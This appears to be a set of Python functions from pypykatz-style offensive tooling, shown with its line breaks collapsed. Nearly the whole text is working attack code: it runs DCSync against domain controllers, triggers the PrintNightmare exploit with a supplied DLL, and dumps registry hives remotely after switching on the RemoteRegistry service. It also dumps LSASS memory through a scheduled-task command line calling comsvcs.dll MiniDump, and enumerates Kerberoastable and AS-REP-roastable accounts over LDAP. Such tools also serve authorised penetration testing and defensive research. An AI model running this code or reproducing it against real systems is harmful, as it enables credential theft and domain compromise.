async def dcsync(url, username = None): from aiosmb.commons.connection.url import SMBConnectionURL from aiosmb.commons.interfaces.machine import SMBMachine smburl = SMBConnectionURL(url) connection = smburl.get_connection() users = [] if username is not None: users.append(username) async with connection: logging.debug('[DCSYNC] Connecting to server...') _, err = await connection.login() if err is not None: raise err logging.debug('[DCSYNC] Connected to server!') logging.debug('[DCSYNC] Running...') i = 0 async with SMBMachine(connection) as machine: async for secret, err in machine.dcsync(target_users=users): if err is not None: raise err i += 1 if i % 1000 == 0: logging.debug('[DCSYNC] Running... %s' % i) await asyncio.sleep(0) yield secret logging.debug('[DCSYNC] Finished!')
async def printnightmare(url, dll_path, driverpath=None): try: from aiosmb.commons.connection.url import SMBConnectionURL from aiosmb.commons.interfaces.machine import SMBMachine smburl = SMBConnectionURL(url) connection = smburl.get_connection() async with connection: logging.debug('[PRINTNIGHTMARE] Connecting to server...') _, err = await connection.login() if err is not None: raise err machine = SMBMachine(connection) logging.debug('[PRINTNIGHTMARE] Connected!') logging.debug('[PRINTNIGHTMARE] Triggering printnightmare...') _, err = await machine.printnightmare(dll_path, driverpath) if err is not None: raise err logging.debug('[PRINTNIGHTMARE] Printnightmare finished OK!') return True, None except Exception as e: import traceback traceback.print_exc() return None, e
def run_live(self, args): from pypykatz.registry.live_parser import LiveRegistry lr = None try: lr = LiveRegistry.go_live() except Exception as e: traceback.print_exc() logging.debug('Failed to obtain registry secrets via direct registry reading method. Reason: %s' % str(e)) try: from pypykatz.registry.offline_parser import OffineRegistry lr = OffineRegistry.from_live_system() except Exception as e: logging.debug('Failed to obtain registry secrets via filedump method') if lr is not None: self.process_results(lr, args) else: print('Registry parsing failed!')
async def regdump(url, hives=['HKLM\\SAM', 'HKLM\\SYSTEM', 'HKLM\\SECURITY'], remote_base_path='C:\\Windows\\Temp\\', remote_share_name='\\c$\\Windows\\Temp\\', enable_wait=3): from aiosmb.commons.connection.url import SMBConnectionURL from aiosmb.commons.interfaces.machine import SMBMachine from aiosmb.commons.interfaces.file import SMBFile from aiosmb.dcerpc.v5.common.service import SMBServiceStatus from pypykatz.alsadecryptor.asbmfile import SMBFileReader from pypykatz.registry.aoffline_parser import OffineRegistry smburl = SMBConnectionURL(url) connection = smburl.get_connection() if remote_base_path.endswith('\\') is False: remote_base_path += '\\' if remote_share_name.endswith('\\') is False: remote_share_name += '\\' po = None async with connection: logging.debug('[REGDUMP] Connecting to server...') _, err = await connection.login() if err is not None: raise err logging.debug('[REGDUMP] Connected to server!') async with SMBMachine(connection) as machine: logging.debug( '[REGDUMP] Checking remote registry service status...') status, err = await machine.check_service_status('RemoteRegistry') if err is not None: raise err logging.debug('[REGDUMP] Remote registry service status: %s' % status.name) if status != SMBServiceStatus.RUNNING: logging.debug('[REGDUMP] Enabling Remote registry service') _, err = await machine.enable_service('RemoteRegistry') if err is not None: raise err logging.debug('[REGDUMP] Starting Remote registry service') _, err = await machine.start_service('RemoteRegistry') if err is not None: raise err await asyncio.sleep(enable_wait) logging.debug( '[REGDUMP] Remote registry service should be running now...') files = {} for hive in hives: fname = '%s.%s' % (os.urandom(4).hex(), os.urandom(3).hex()) remote_path = remote_base_path + fname remote_sharepath = remote_share_name + fname remote_file = SMBFileReader( SMBFile.from_remotepath(connection, remote_sharepath)) files[hive.split('\\')[1].upper()] = remote_file logging.info('[REGDUMP] Dumping reghive %s to (remote) %s' % (hive, remote_path)) _, err = await machine.save_registry_hive(hive, remote_path) if err is not None: raise err #await asyncio.sleep(1) for rfilename in files: rfile = files[rfilename] logging.debug('[REGDUMP] Opening reghive file %s' % rfilename) _, err = await rfile.open(connection) if err is not None: raise err try: logging.debug('[REGDUMP] Parsing hives...') po = await OffineRegistry.from_async_reader( files['SYSTEM'], sam_reader=files.get('SAM'), security_reader=files.get('SECURITY'), software_reader=files.get('SOFTWARE')) except Exception as e: print(e) logging.debug('[REGDUMP] Hives parsed OK!') logging.debug('[REGDUMP] Deleting remote files...') err = None for rfilename in files: rfile = files[rfilename] err = await rfile.close() if err is not None: logging.debug( '[REGDUMP] ERR! Failed to close hive dump file! %s' % rfilename) _, err = await rfile.delete() if err is not None: logging.debug( '[REGDUMP] ERR! Failed to delete hive dump file! %s' % rfilename) if err is None: logging.debug('[REGDUMP] Deleting remote files OK!') return po
async def regfile(url, system, sam=None, security=None, software=None, smb_basepath=None): from aiosmb.commons.connection.url import SMBConnectionURL from aiosmb.commons.interfaces.file import SMBFile from pypykatz.alsadecryptor.asbmfile import SMBFileReader from pypykatz.registry.aoffline_parser import OffineRegistry smburl = SMBConnectionURL(url) connection = smburl.get_connection() if smb_basepath is None: smb_basepath = smburl.path if smb_basepath.endswith('/') is False: smb_basepath += '/' smb_basepath = smb_basepath.replace('/', '\\') system_smbfile_path = smb_basepath + system sam_smbfile = None security_smbfile = None software_smbfile = None system_smbfile = SMBFileReader( SMBFile.from_remotepath(connection, system_smbfile_path)) if sam: sam_smbfile_path = smb_basepath + sam sam_smbfile = SMBFileReader( SMBFile.from_remotepath(connection, sam_smbfile_path)) if security: security_smbfile_path = smb_basepath + security security_smbfile = SMBFileReader( SMBFile.from_remotepath(connection, security_smbfile_path)) if software: software_smbfile_path = smb_basepath + software software_smbfile = SMBFileReader( SMBFile.from_remotepath(connection, software_smbfile_path)) po = None async with connection: logging.debug('[REGFILE] Connecting to server...') _, err = await connection.login() if err is not None: raise err logging.debug('[REGFILE] Connected to server!') logging.debug('[REGFILE] Opening SYSTEM hive dump file...') # parse files here _, err = await system_smbfile.open(connection) if err is not None: raise err if sam_smbfile is not None: logging.debug('[REGFILE] Opening SAM hive dump file...') _, err = await sam_smbfile.open(connection) if err is not None: raise err if security_smbfile is not None: logging.debug('[REGFILE] Opening SECURITY hive dump file...') _, err = await security_smbfile.open(connection) if err is not None: raise err if software_smbfile is not None: logging.debug('[REGFILE] Opening SOFTWARE hive dump file...') _, err = await software_smbfile.open(connection) if err is not None: raise err logging.debug('[REGFILE] All files opened OK!') logging.debug('[REGFILE] Parsing hive files...') po = await OffineRegistry.from_async_reader( system_smbfile, sam_reader=sam_smbfile, security_reader=security_smbfile, software_reader=software_smbfile) logging.debug('[REGFILE] Hive files parsed OK!') return po
async def lsassfile(url, packages=['all'], chunksize=64 * 1024): from aiosmb.commons.connection.url import SMBConnectionURL from pypykatz.alsadecryptor.asbmfile import SMBFileReader from pypykatz.apypykatz import apypykatz smburl = SMBConnectionURL(url) connection = smburl.get_connection() smbfile = smburl.get_file() async with connection: logging.debug('[LSASSFILE] Connecting to server...') _, err = await connection.login() if err is not None: raise err logging.debug('[LSASSFILE] Connected!') logging.debug('[LSASSFILE] Opening LSASS dump file...') _, err = await smbfile.open(connection) if err is not None: raise err logging.debug('[LSASSFILE] LSASS file opened!') logging.debug('[LSASSFILE] parsing LSASS file...') mimi = await apypykatz.parse_minidump_external(SMBFileReader(smbfile), chunksize=chunksize, packages=packages) logging.debug('[LSASSFILE] LSASS file parsed OK!') return mimi
async def lsassdump(url, method='taskexec', remote_base_path='C:\\Windows\\Temp\\', remote_share_name='\\c$\\Windows\\Temp\\', chunksize=64 * 1024, packages=['all']): from aiosmb.commons.exceptions import SMBException from aiosmb.wintypes.ntstatus import NTStatus from aiosmb.commons.connection.url import SMBConnectionURL from aiosmb.commons.interfaces.machine import SMBMachine from pypykatz.alsadecryptor.asbmfile import SMBFileReader from aiosmb.commons.interfaces.file import SMBFile from pypykatz.apypykatz import apypykatz smburl = SMBConnectionURL(url) connection = smburl.get_connection() if remote_base_path.endswith('\\') is False: remote_base_path += '\\' if remote_share_name.endswith('\\') is False: remote_share_name += '\\' fname = '%s.%s' % (os.urandom(5).hex(), os.urandom(3).hex()) filepath = remote_base_path + fname filesharepath = remote_share_name + fname if method == 'taskexec': cmd = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump ^%B {} full""".format( filepath) commands = [cmd] else: raise Exception('Unknown execution method %s' % method) mimi = None async with connection: logging.debug('[LSASSDUMP] Connecting to server...') _, err = await connection.login() if err is not None: raise err logging.debug('[LSASSDUMP] Connected!') async with SMBMachine(connection) as machine: if method == 'taskexec': logging.debug( '[LSASSDUMP] Start dumping LSASS with taskexec method!') logging.info('[LSASSDUMP] File location: %s' % filepath) _, err = await machine.tasks_execute_commands(commands) if err is not None: raise err logging.debug( '[LSASSDUMP] Sleeping a bit to let the remote host finish dumping' ) await asyncio.sleep(10) else: raise Exception('Unknown execution method %s' % method) logging.debug('[LSASSDUMP] Opening LSASS dump file...') for _ in range(3): smbfile = SMBFileReader( SMBFile.from_remotepath(connection, filesharepath)) _, err = await smbfile.open(connection) if err is not None: if isinstance(err, SMBException): if err.ntstatus == NTStatus.SHARING_VIOLATION: logging.debug( '[LSASSDUMP] LSASS dump is not yet ready, retrying...' ) await asyncio.sleep(1) continue raise err break else: raise err logging.debug('[LSASSDUMP] LSASS dump file opened!') logging.debug( '[LSASSDUMP] parsing LSASS dump file on the remote host...') mimi = await apypykatz.parse_minidump_external(smbfile, chunksize=chunksize, packages=packages) logging.debug('[LSASSDUMP] parsing OK!') logging.debug('[LSASSDUMP] Deleting remote dump file...') _, err = await smbfile.delete() if err is not None: logging.info( '[LSASSDUMP] Failed to delete LSASS file! Reason: %s' % err) else: logging.info('[LSASSDUMP] remote LSASS file deleted OK!') return mimi
def run_live(self, args): from msldap.core import MSLDAPCredential, MSLDAPTarget, MSLDAPConnection from msldap.ldap_objects import MSADUser from msldap import logger as msldaplogger from pypykatz.commons.winapi.machine import LiveMachine machine = LiveMachine() if args.credential: creds = MSLDAPCredential.from_connection_string(args.credential) else: creds = MSLDAPCredential.get_dummy_sspi() if args.dc_ip: target = MSLDAPTarget(args.dc_ip) else: target = MSLDAPTarget(machine.get_domain()) connection = MSLDAPConnection(creds, target) connection.connect() try: adinfo = connection.get_ad_info() domain = adinfo.distinguishedName.replace('DC=', '').replace(',', '.') except Exception as e: logging.warning( '[LDAP] Failed to get domain name from LDAP server. This is not normal, but happens. Reason: %s' % e) domain = machine.get_domain() if args.cmd == 'spn': logging.debug('Enumerating SPN user accounts...') cnt = 0 if args.out_file: with open(os.path.join(basefolder, basefile + '_spn_users.txt'), 'w', newline='') as f: for user in connection.get_all_service_user_objects(): cnt += 1 f.write('%s/%s\r\n' % (domain, user.sAMAccountName)) else: print('[+] SPN users') for user in connection.get_all_service_user_objects(): cnt += 1 print('%s/%s' % (domain, user.sAMAccountName)) logging.debug('Enumerated %d SPN user accounts' % cnt) elif args.cmd == 'asrep': logging.debug('Enumerating ASREP user accounts...') ctr = 0 if args.out_file: with open(os.path.join(basefolder, basefile + '_asrep_users.txt'), 'w', newline='') as f: for user in connection.get_all_knoreq_user_objects(): ctr += 1 f.write('%s/%s\r\n' % (domain, user.sAMAccountName)) else: print('[+] ASREP users') for user in connection.get_all_knoreq_user_objects(): ctr += 1 print('%s/%s' % (domain, user.sAMAccountName)) logging.debug('Enumerated %d ASREP user accounts' % ctr) elif args.cmd == 'dump': logging.debug( 'Enumerating ALL user accounts, this will take some time depending on the size of the domain' ) ctr = 0 attrs = args.attrs if args.attrs is not None else MSADUser.TSV_ATTRS if args.out_file: with open(os.path.join(basefolder, basefile + '_ldap_users.tsv'), 'w', newline='', encoding='utf8') as f: writer = csv.writer(f, delimiter='\t') writer.writerow(attrs) for user in connection.get_all_user_objects(): ctr += 1 writer.writerow(user.get_row(attrs)) else: logging.debug('Are you sure about this?') print('[+] Full user dump') print('\t'.join(attrs)) for user in connection.get_all_user_objects(): ctr += 1 print('\t'.join([str(x) for x in user.get_row(attrs)])) logging.debug('Enumerated %d user accounts' % ctr) elif args.cmd == 'custom': if not args.filter: raise Exception( 'Custom LDAP search requires the search filter to be specified!' ) if not args.attrs: raise Exception( 'Custom LDAP search requires the attributes to be specified!' ) logging.debug( 'Perforing search on the AD with the following filter: %s' % args.filter) logging.debug('Search will contain the following attributes: %s' % ','.join(args.attrs)) ctr = 0 if args.out_file: with open(os.path.join(basefolder, basefile + '_ldap_custom.tsv'), 'w', newline='') as f: writer = csv.writer(f, delimiter='\t') writer.writerow(args.attrs) for obj in connection.pagedsearch(args.filter, args.attrs): ctr += 1 writer.writerow([ str(obj['attributes'].get(x, 'N/A')) for x in args.attrs ]) else: for obj in connection.pagedsearch(args.filter, args.attrs): ctr += 1 print('\t'.join([ str(obj['attributes'].get(x, 'N/A')) for x in args.attrs ])) logging.debug('Custom search yielded %d results!' % ctr)
async def lsassdump_single(targetid, connection, method='task', remote_base_path='C:\\Windows\\Temp\\', remote_share_name='\\c$\\Windows\\Temp\\', chunksize=64 * 1024, packages=['all']): try: from aiosmb.commons.exceptions import SMBException from aiosmb.wintypes.ntstatus import NTStatus from aiosmb.commons.interfaces.machine import SMBMachine from pypykatz.alsadecryptor.asbmfile import SMBFileReader from aiosmb.commons.interfaces.file import SMBFile from pypykatz.apypykatz import apypykatz if remote_base_path.endswith('\\') is False: remote_base_path += '\\' if remote_share_name.endswith('\\') is False: remote_share_name += '\\' fname = '%s.%s' % (os.urandom(5).hex(), os.urandom(3).hex()) filepath = remote_base_path + fname filesharepath = remote_share_name + fname if method == 'task': cmd = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump ^%B {} full""".format( filepath) commands = [cmd] elif method == 'service': cmd = '' else: raise Exception('Unknown execution method %s' % method) mimi = None async with connection: logging.debug('[LSASSDUMP][%s] Connecting to server...' % targetid) _, err = await connection.login() if err is not None: raise err logging.debug('[LSASSDUMP][%s] Connected!' % targetid) async with SMBMachine(connection) as machine: if method == 'task': logging.debug( '[LSASSDUMP][%s] Start dumping LSASS with taskexec method!' % targetid) smbfile_inner, err = await machine.task_dump_lsass() if err is not None: raise err smbfile = SMBFileReader(smbfile_inner) #logging.debug('[LSASSDUMP][%s] Start dumping LSASS with taskexec method!' % targetid) #logging.info('[LSASSDUMP][%s] File location: %s' % (targetid,filepath)) #_, err = await machine.tasks_execute_commands(commands) #if err is not None: # raise err # #logging.debug('[LSASSDUMP][%s] Opening LSASS dump file...' % targetid) #for _ in range(5): # logging.debug('[LSASSDUMP][%s] Sleeping a bit to let the remote host finish dumping' % targetid) # await asyncio.sleep(5) # smbfile = SMBFileReader(SMBFile.from_remotepath(connection, filesharepath)) # _, err = await smbfile.open(connection) # if err is not None: # if isinstance(err, SMBException): # if err.ntstatus == NTStatus.SHARING_VIOLATION: # logging.debug('[LSASSDUMP][%s] LSASS dump is not yet ready, retrying...' % targetid) # #await asyncio.sleep(1) # continue # raise err # break #else: # raise err elif method == 'service': logging.debug( '[LSASSDUMP][%s] Start dumping LSASS with serviceexec method!' % targetid) smbfile_inner, err = await machine.service_dump_lsass() if err is not None: raise err smbfile = SMBFileReader(smbfile_inner) else: raise Exception('Unknown execution method %s' % method) logging.debug('[LSASSDUMP][%s] LSASS dump file opened!' % targetid) logging.debug( '[LSASSDUMP][%s] parsing LSASS dump file on the remote host...' % targetid) mimi = await apypykatz.parse_minidump_external(smbfile, chunksize=chunksize, packages=packages) logging.debug('[LSASSDUMP][%s] parsing OK!' % targetid) logging.debug('[LSASSDUMP][%s] Deleting remote dump file...' % targetid) _, err = await smbfile.delete() if err is not None: print('[%s] Failed to delete LSASS file! Reason: %s' % (targetid, err)) else: print('[%s] Remote LSASS file deleted OK!' % targetid) return targetid, mimi, None except Exception as e: import traceback traceback.print_exc() return targetid, None, e